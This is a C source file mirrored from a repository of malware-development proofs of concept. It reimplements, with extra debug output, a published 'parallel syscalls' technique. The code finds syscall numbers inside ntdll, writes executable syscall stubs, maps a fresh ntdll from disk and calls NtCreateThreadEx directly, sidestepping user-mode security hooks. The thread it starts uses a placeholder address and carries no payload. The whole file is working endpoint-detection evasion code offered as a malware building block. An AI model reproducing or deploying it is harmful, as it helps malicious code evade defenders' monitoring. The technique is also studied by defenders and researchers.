mirror of
https://codeberg.org/smukx/Rust-for-Malware-Development
synced 2026-06-06 20:22:59 +00:00
Whitecat18
28e7fac1d3
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
430 lines
15 KiB
Plaintext
430 lines
15 KiB
Plaintext
/*
|
|
just added some debug statement to understand the PoC Indepth.
|
|
Original PoC by MDSec: https://github.com/mdsecactivebreach/ParallelSyscalls
|
|
*/
|
|
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <Windows.h>
|
|
#include <intrin.h>
|
|
|
|
typedef void* PRTL_USER_PROCESS_PARAMETERS;
|
|
typedef void* PPS_POST_PROCESS_INIT_ROUTINE;
|
|
|
|
typedef struct _UNICODE_STRING {
|
|
USHORT Length;
|
|
USHORT MaximumLength;
|
|
PWSTR Buffer;
|
|
} UNICODE_STRING, * PUNICODE_STRING;
|
|
|
|
typedef struct _PEB_LDR_DATA {
|
|
DWORD dwLength;
|
|
DWORD dwInitialized;
|
|
LPVOID lpSsHandle;
|
|
LIST_ENTRY InLoadOrderModuleList;
|
|
LIST_ENTRY InMemoryOrderModuleList;
|
|
LIST_ENTRY InInitializationOrderModuleList;
|
|
LPVOID lpEntryInProgress;
|
|
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
|
|
|
typedef struct _PEB {
|
|
BYTE Reserved1[2];
|
|
BYTE BeingDebugged;
|
|
BYTE Reserved2[1];
|
|
PVOID Reserved3[2];
|
|
PPEB_LDR_DATA Ldr;
|
|
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
|
|
PVOID Reserved4[3];
|
|
PVOID AtlThunkSListPtr;
|
|
PVOID Reserved5;
|
|
ULONG Reserved6;
|
|
PVOID Reserved7;
|
|
ULONG Reserved8;
|
|
ULONG AtlThunkSListPtr32;
|
|
PVOID Reserved9[45];
|
|
BYTE Reserved10[96];
|
|
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
|
|
BYTE Reserved11[128];
|
|
PVOID Reserved12[1];
|
|
ULONG SessionId;
|
|
} PEB, * PPEB;
|
|
|
|
typedef struct {
|
|
LIST_ENTRY InLoadOrderLinks;
|
|
LIST_ENTRY InMemoryOrderModuleList;
|
|
LIST_ENTRY InInitializationOrderModuleList;
|
|
PVOID DllBase;
|
|
PVOID EntryPoint;
|
|
ULONG SizeOfImage;
|
|
UNICODE_STRING FullDllName;
|
|
UNICODE_STRING BaseDllName;
|
|
ULONG Flags;
|
|
SHORT LoadCount;
|
|
SHORT TlsIndex;
|
|
LIST_ENTRY HashTableEntry;
|
|
ULONG TimeDateStamp;
|
|
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
|
|
|
typedef struct _OBJECT_ATTRIBUTES {
|
|
ULONG Length;
|
|
HANDLE RootDirectory;
|
|
PUNICODE_STRING ObjectName;
|
|
ULONG Attributes;
|
|
PVOID SecurityDescriptor;
|
|
PVOID SecurityQualityOfService;
|
|
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
|
|
|
typedef struct _IO_STATUS_BLOCK {
|
|
union {
|
|
NTSTATUS Status;
|
|
PVOID Pointer;
|
|
};
|
|
ULONG_PTR Information;
|
|
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
|
|
|
typedef NTSYSAPI NTSTATUS(NTAPI* FUNC_NTOPENFILE)(
|
|
OUT PHANDLE FileHandle,
|
|
IN ACCESS_MASK DesiredAccess,
|
|
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
|
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
|
IN ULONG ShareAccess,
|
|
IN ULONG OpenOptions
|
|
);
|
|
|
|
typedef NTSTATUS(NTAPI* FUNC_NTCREATESECTION)(
|
|
_Out_ PHANDLE SectionHandle,
|
|
_In_ ACCESS_MASK DesiredAccess,
|
|
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
|
|
_In_opt_ PLARGE_INTEGER MaximumSize,
|
|
_In_ ULONG SectionPageProtection,
|
|
_In_ ULONG AllocationAttributes,
|
|
_In_opt_ HANDLE FileHandle
|
|
);
|
|
|
|
typedef NTSTATUS(NTAPI* FUNC_NTMAPVIEWOFSECTION)(
|
|
_In_ HANDLE SectionHandle,
|
|
_In_ HANDLE ProcessHandle,
|
|
_Inout_ PVOID* BaseAddress,
|
|
_In_ ULONG_PTR ZeroBits,
|
|
_In_ SIZE_T CommitSize,
|
|
_Inout_opt_ PLARGE_INTEGER SectionOffset,
|
|
_Inout_ PSIZE_T ViewSize,
|
|
_In_ DWORD InheritDisposition,
|
|
_In_ ULONG AllocationType,
|
|
_In_ ULONG Win32Protect
|
|
);
|
|
|
|
typedef VOID(NTAPI* FUNC_RTLINITUNICODESTRING)(
|
|
IN OUT PUNICODE_STRING DestinationString,
|
|
IN PCWSTR SourceString
|
|
);
|
|
|
|
#ifndef NT_SUCCESS
|
|
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
|
#endif
|
|
|
|
#ifndef InitializeObjectAttributes
|
|
#define InitializeObjectAttributes(p, n, a, r, s) { \
|
|
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
|
|
(p)->RootDirectory = r; \
|
|
(p)->Attributes = a; \
|
|
(p)->ObjectName = n; \
|
|
(p)->SecurityDescriptor = s; \
|
|
(p)->SecurityQualityOfService = NULL; \
|
|
}
|
|
#endif
|
|
|
|
#define OBJ_CASE_INSENSITIVE 0x40
|
|
#define STATUS_IMAGE_NOT_AT_BASE 0x40000003
|
|
#define MAX_EXPORT_NAME_LENGTH 64
|
|
#define MAX_SYSCALL_STUB_SIZE 64
|
|
#define MAX_NUMBER_OF_SYSCALLS 1024
|
|
|
|
FUNC_NTOPENFILE NtOpenFile = NULL;
|
|
FUNC_NTCREATESECTION NtCreateSection = NULL;
|
|
FUNC_NTMAPVIEWOFSECTION NtMapViewOfSection = NULL;
|
|
|
|
FUNC_RTLINITUNICODESTRING RtlInitUnicodeString = (FUNC_RTLINITUNICODESTRING)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
|
|
|
|
ULONG_PTR BuildSyscallStub(ULONG_PTR StubRegion, DWORD dwSyscallNo) {
|
|
BYTE SyscallStub[] = {
|
|
0x4c, 0x8b, 0xd1, // mov r10, rcx
|
|
0xb8, 0x00, 0x00, 0x00, 0x00, // mov eax, xxx
|
|
0x0f, 0x05, // syscall
|
|
0xc3 // ret
|
|
};
|
|
memcpy((PBYTE)StubRegion, SyscallStub, sizeof(SyscallStub));
|
|
*(DWORD*)(StubRegion + 4) = dwSyscallNo;
|
|
return StubRegion;
|
|
}
|
|
|
|
BOOL InitSyscallsFromLdrpThunkSignature() {
|
|
PPEB Peb = (PPEB)__readgsqword(0x60);
|
|
PPEB_LDR_DATA Ldr = Peb->Ldr;
|
|
PLDR_DATA_TABLE_ENTRY NtdllLdrEntry = NULL;
|
|
|
|
for (PLDR_DATA_TABLE_ENTRY LdrEntry = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
|
|
LdrEntry->DllBase != NULL;
|
|
LdrEntry = (PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink) {
|
|
if (_wcsnicmp(LdrEntry->BaseDllName.Buffer, L"ntdll.dll", 9) == 0) {
|
|
NtdllLdrEntry = LdrEntry;
|
|
printf("[+] Found ntdll.dll: Base=0x%p\n", LdrEntry->DllBase);
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (NtdllLdrEntry == NULL) {
|
|
printf("[!] Failed to find ntdll.dll in LDR\n");
|
|
return FALSE;
|
|
}
|
|
|
|
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)NtdllLdrEntry->DllBase + ((PIMAGE_DOS_HEADER)NtdllLdrEntry->DllBase)->e_lfanew);
|
|
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
|
|
|
|
ULONG_PTR DataSectionAddress = NULL;
|
|
DWORD DataSectionSize = 0;
|
|
printf("[+] Found %d sections in ntdll.dll\n", ImageNtHeaders->FileHeader.NumberOfSections);
|
|
for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++) {
|
|
char sectionName[9] = { 0 };
|
|
strncpy_s(sectionName, (char*)SectionHeader[i].Name, 8);
|
|
printf("[+] Section %d: Name=%s, VirtualAddress=0x%x, VirtualSize=0x%x\n",
|
|
i, sectionName, SectionHeader[i].VirtualAddress, SectionHeader[i].Misc.VirtualSize);
|
|
if (!strcmp(sectionName, ".data")) {
|
|
DataSectionAddress = (ULONG_PTR)NtdllLdrEntry->DllBase + SectionHeader[i].VirtualAddress;
|
|
DataSectionSize = SectionHeader[i].Misc.VirtualSize;
|
|
printf("[+] Found .data section: Address=0x%p, Size=0x%x\n", (PVOID)DataSectionAddress, DataSectionSize);
|
|
break;
|
|
}
|
|
}
|
|
|
|
DWORD dwSyscallNo_NtOpenFile = 0, dwSyscallNo_NtCreateSection = 0, dwSyscallNo_NtMapViewOfSection = 0;
|
|
|
|
if (!DataSectionAddress || DataSectionSize < 16 * 5) {
|
|
if (!DataSectionAddress) {
|
|
printf("[!] .data section not found, trying .rdata\n");
|
|
for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++) {
|
|
char sectionName[9] = { 0 };
|
|
strncpy_s(sectionName, (char*)SectionHeader[i].Name, 8);
|
|
if (!strcmp(sectionName, ".rdata")) {
|
|
DataSectionAddress = (ULONG_PTR)NtdllLdrEntry->DllBase + SectionHeader[i].VirtualAddress;
|
|
DataSectionSize = SectionHeader[i].Misc.VirtualSize;
|
|
printf("[+] Found .rdata section: Address=0x%p, Size=0x%x\n", (PVOID)DataSectionAddress, DataSectionSize);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
if (!DataSectionAddress || DataSectionSize < 16 * 5) {
|
|
printf("[!] Failed to find .data or .rdata section or section too small (size=0x%x)\n", DataSectionSize);
|
|
return FALSE;
|
|
}
|
|
}
|
|
|
|
for (UINT uiOffset = 0; uiOffset < DataSectionSize - (16 * 5); uiOffset++) {
|
|
if (*(DWORD*)(DataSectionAddress + uiOffset) == 0xb8d18b4c &&
|
|
*(DWORD*)(DataSectionAddress + uiOffset + 16) == 0xb8d18b4c &&
|
|
*(DWORD*)(DataSectionAddress + uiOffset + 32) == 0xb8d18b4c &&
|
|
*(DWORD*)(DataSectionAddress + uiOffset + 48) == 0xb8d18b4c &&
|
|
*(DWORD*)(DataSectionAddress + uiOffset + 64) == 0xb8d18b4c) {
|
|
dwSyscallNo_NtOpenFile = *(DWORD*)(DataSectionAddress + uiOffset + 4);
|
|
dwSyscallNo_NtCreateSection = *(DWORD*)(DataSectionAddress + uiOffset + 16 + 4);
|
|
dwSyscallNo_NtMapViewOfSection = *(DWORD*)(DataSectionAddress + uiOffset + 64 + 4);
|
|
printf("[+] Found LdrpThunkSignature at offset 0x%x: NtOpenFile=0x%x, NtCreateSection=0x%x, NtMapViewOfSection=0x%x\n",
|
|
uiOffset, dwSyscallNo_NtOpenFile, dwSyscallNo_NtCreateSection, dwSyscallNo_NtMapViewOfSection);
|
|
// Dump first 128 bytes of the signature region
|
|
printf("[+] First 128 bytes at 0x%p:\n", (PVOID)(DataSectionAddress + uiOffset));
|
|
for (UINT j = 0; j < 128 && j < DataSectionSize - uiOffset; j++) {
|
|
printf("%02x ", *(BYTE*)(DataSectionAddress + uiOffset + j));
|
|
if ((j + 1) % 16 == 0) printf("\n");
|
|
}
|
|
printf("\n");
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (!dwSyscallNo_NtOpenFile) {
|
|
printf("[!] Failed to find valid LdrpThunkSignature\n");
|
|
// Dump first 128 bytes of the section for debugging
|
|
UINT sampleSize = min(128, DataSectionSize);
|
|
printf("[+] First %u bytes of section at 0x%p:\n", sampleSize, (PVOID)DataSectionAddress);
|
|
for (UINT i = 0; i < sampleSize; i++) {
|
|
printf("%02x ", *(BYTE*)(DataSectionAddress + i));
|
|
if ((i + 1) % 16 == 0) printf("\n");
|
|
}
|
|
printf("\n");
|
|
return FALSE;
|
|
}
|
|
|
|
ULONG_PTR SyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 3 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
if (!SyscallRegion) {
|
|
printf("[!] VirtualAlloc for syscall stubs failed\n");
|
|
return FALSE;
|
|
}
|
|
|
|
NtOpenFile = (FUNC_NTOPENFILE)BuildSyscallStub(SyscallRegion, dwSyscallNo_NtOpenFile);
|
|
NtCreateSection = (FUNC_NTCREATESECTION)BuildSyscallStub(SyscallRegion + MAX_SYSCALL_STUB_SIZE, dwSyscallNo_NtCreateSection);
|
|
NtMapViewOfSection = (FUNC_NTMAPVIEWOFSECTION)BuildSyscallStub(SyscallRegion + (2 * MAX_SYSCALL_STUB_SIZE), dwSyscallNo_NtMapViewOfSection);
|
|
printf("[+] Syscall stubs initialized: NtOpenFile=0x%p, NtCreateSection=0x%p, NtMapViewOfSection=0x%p\n",
|
|
NtOpenFile, NtCreateSection, NtMapViewOfSection);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
ULONG_PTR LoadNtdllIntoSection() {
|
|
NTSTATUS ntStatus;
|
|
HANDLE hFile = NULL;
|
|
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
|
|
UNICODE_STRING ObjectPath = { 0 };
|
|
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
|
HANDLE hSection = NULL;
|
|
LARGE_INTEGER maxSize = { 0 };
|
|
LPVOID lpvSection = NULL;
|
|
SIZE_T viewSize = 0;
|
|
|
|
RtlInitUnicodeString(&ObjectPath, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
|
|
InitializeObjectAttributes(&ObjectAttributes, &ObjectPath, OBJ_CASE_INSENSITIVE, 0, NULL);
|
|
|
|
ntStatus = NtOpenFile(&hFile, FILE_READ_DATA, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ, 0);
|
|
if (!NT_SUCCESS(ntStatus)) {
|
|
printf("[!] NtOpenFile failed: 0x%x\n", ntStatus);
|
|
goto Cleanup;
|
|
}
|
|
|
|
ntStatus = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_COMMIT, hFile);
|
|
if (!NT_SUCCESS(ntStatus)) {
|
|
printf("[!] NtCreateSection failed: 0x%x\n", ntStatus);
|
|
goto Cleanup;
|
|
}
|
|
|
|
ntStatus = NtMapViewOfSection(hSection, GetCurrentProcess(), &lpvSection, NULL, NULL, NULL, &viewSize, 1, 0, PAGE_READONLY);
|
|
if (!NT_SUCCESS(ntStatus)) {
|
|
printf("[!] NtMapViewOfSection failed: 0x%x\n", ntStatus);
|
|
return NULL;
|
|
}
|
|
|
|
Cleanup:
|
|
if (hSection) CloseHandle(hSection);
|
|
if (hFile) CloseHandle(hFile);
|
|
return (ULONG_PTR)lpvSection;
|
|
}
|
|
|
|
ULONG_PTR RVAToFileOffsetPointer(ULONG_PTR pModule, DWORD dwRVA) {
|
|
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)pModule;
|
|
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew);
|
|
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
|
|
|
|
for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++) {
|
|
if (SectionHeader[i].VirtualAddress <= dwRVA && SectionHeader[i].VirtualAddress + SectionHeader[i].Misc.VirtualSize > dwRVA) {
|
|
dwRVA -= SectionHeader[i].VirtualAddress;
|
|
dwRVA += SectionHeader[i].PointerToRawData;
|
|
return pModule + dwRVA;
|
|
}
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
ULONG_PTR FindBytes(ULONG_PTR Source, DWORD SourceLength, ULONG_PTR Search, DWORD SearchLength) {
|
|
while (SearchLength <= SourceLength) {
|
|
if (!memcmp((PBYTE)Source, (PBYTE)Search, SearchLength)) {
|
|
return Source;
|
|
}
|
|
Source++;
|
|
SourceLength--;
|
|
}
|
|
return NULL;
|
|
}
|
|
|
|
UINT ExtractSyscalls(ULONG_PTR pNtdll, CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH], ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS]) {
|
|
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)pNtdll;
|
|
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(pNtdll + ((PIMAGE_DOS_HEADER)pNtdll)->e_lfanew);
|
|
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
|
|
|
|
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)ImageNtHeaders->OptionalHeader.DataDirectory;
|
|
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
|
PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)RVAToFileOffsetPointer(pNtdll, VirtualAddress);
|
|
|
|
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
|
PDWORD Functions = (PDWORD)RVAToFileOffsetPointer(pNtdll, ExportDirectory->AddressOfFunctions);
|
|
PDWORD Names = (PDWORD)RVAToFileOffsetPointer(pNtdll, ExportDirectory->AddressOfNames);
|
|
PWORD Ordinals = (PWORD)RVAToFileOffsetPointer(pNtdll, ExportDirectory->AddressOfNameOrdinals);
|
|
|
|
UINT uiCount = 0;
|
|
ULONG_PTR pStubs = (ULONG_PTR)VirtualAlloc(NULL, MAX_NUMBER_OF_SYSCALLS * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
if (!pStubs) {
|
|
printf("[!] VirtualAlloc for syscall stubs failed\n");
|
|
return 0;
|
|
}
|
|
|
|
for (DWORD i = 0; i < NumberOfNames && uiCount < MAX_NUMBER_OF_SYSCALLS; i++) {
|
|
PCHAR FunctionName = (PCHAR)RVAToFileOffsetPointer(pNtdll, Names[i]);
|
|
if (*(USHORT*)FunctionName == 'wZ') {
|
|
ULONG_PTR FunctionPtr = RVAToFileOffsetPointer(pNtdll, Functions[Ordinals[i]]);
|
|
ULONG_PTR FunctionEnd = FindBytes(FunctionPtr, MAX_SYSCALL_STUB_SIZE, (ULONG_PTR)"\x0f\x05\xc3", 3) + 3;
|
|
if (FunctionEnd) {
|
|
strcpy_s(rgszNames[uiCount], MAX_EXPORT_NAME_LENGTH, FunctionName);
|
|
*(WORD*)(rgszNames[uiCount]) = 'tN';
|
|
memcpy((PBYTE)pStubs + (uiCount * MAX_SYSCALL_STUB_SIZE), (PBYTE)FunctionPtr, FunctionEnd - FunctionPtr);
|
|
rgpStubs[uiCount] = pStubs + (uiCount * MAX_SYSCALL_STUB_SIZE);
|
|
uiCount++;
|
|
}
|
|
}
|
|
}
|
|
|
|
printf("[+] Extracted %u syscalls\n", uiCount);
|
|
return uiCount;
|
|
}
|
|
|
|
ULONG_PTR GetSyscall(CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH], ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS], UINT uiCount, PCHAR pzSyscallName) {
|
|
for (UINT i = 0; i < uiCount; i++) {
|
|
if (!strcmp(rgszNames[i], pzSyscallName)) {
|
|
return rgpStubs[i];
|
|
}
|
|
}
|
|
printf("[!] Failed to find syscall: %s\n", pzSyscallName);
|
|
return NULL;
|
|
}
|
|
|
|
typedef NTSTATUS(NTAPI* FUNC_NTCREATETHREADEX)(
|
|
OUT PHANDLE hThread,
|
|
IN ACCESS_MASK DesiredAccess,
|
|
IN PVOID ObjectAttributes,
|
|
IN HANDLE ProcessHandle,
|
|
IN PVOID lpStartAddress,
|
|
IN PVOID lpParameter,
|
|
IN ULONG Flags,
|
|
IN SIZE_T StackZeroBits,
|
|
IN SIZE_T SizeOfStackCommit,
|
|
IN SIZE_T SizeOfStackReserve,
|
|
OUT PVOID lpBytesBuffer
|
|
);
|
|
|
|
int main(void) {
|
|
if (!InitSyscallsFromLdrpThunkSignature()) {
|
|
printf("[!] InitSyscallsFromLdrpThunkSignature failed\n");
|
|
return 1;
|
|
}
|
|
ULONG_PTR pNtdll = LoadNtdllIntoSection();
|
|
if (!pNtdll) {
|
|
printf("[!] LoadNtdllIntoSection failed\n");
|
|
return 1;
|
|
}
|
|
CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH] = { 0 };
|
|
ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS] = { 0 };
|
|
UINT uiCount = ExtractSyscalls(pNtdll, rgszNames, rgpStubs);
|
|
FUNC_NTCREATETHREADEX NtCreateThreadEx = (FUNC_NTCREATETHREADEX)GetSyscall(rgszNames, rgpStubs, uiCount, (PCHAR)"NtCreateThreadEx");
|
|
if (!NtCreateThreadEx) {
|
|
printf("[!] Failed to get NtCreateThreadEx\n");
|
|
return 1;
|
|
}
|
|
NTSTATUS ntStatus;
|
|
HANDLE hThread = NULL;
|
|
ntStatus = NtCreateThreadEx(&hThread, GENERIC_ALL, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)0x41414141, NULL, 0, 0, 0, 0, NULL);
|
|
if (!NT_SUCCESS(ntStatus)) {
|
|
printf("[!] NtCreateThreadEx failed: 0x%x\n", ntStatus);
|
|
return 1;
|
|
}
|
|
printf("[+] Compile Success\n");
|
|
Sleep(INFINITE);
|
|
return 0;
|
|
} |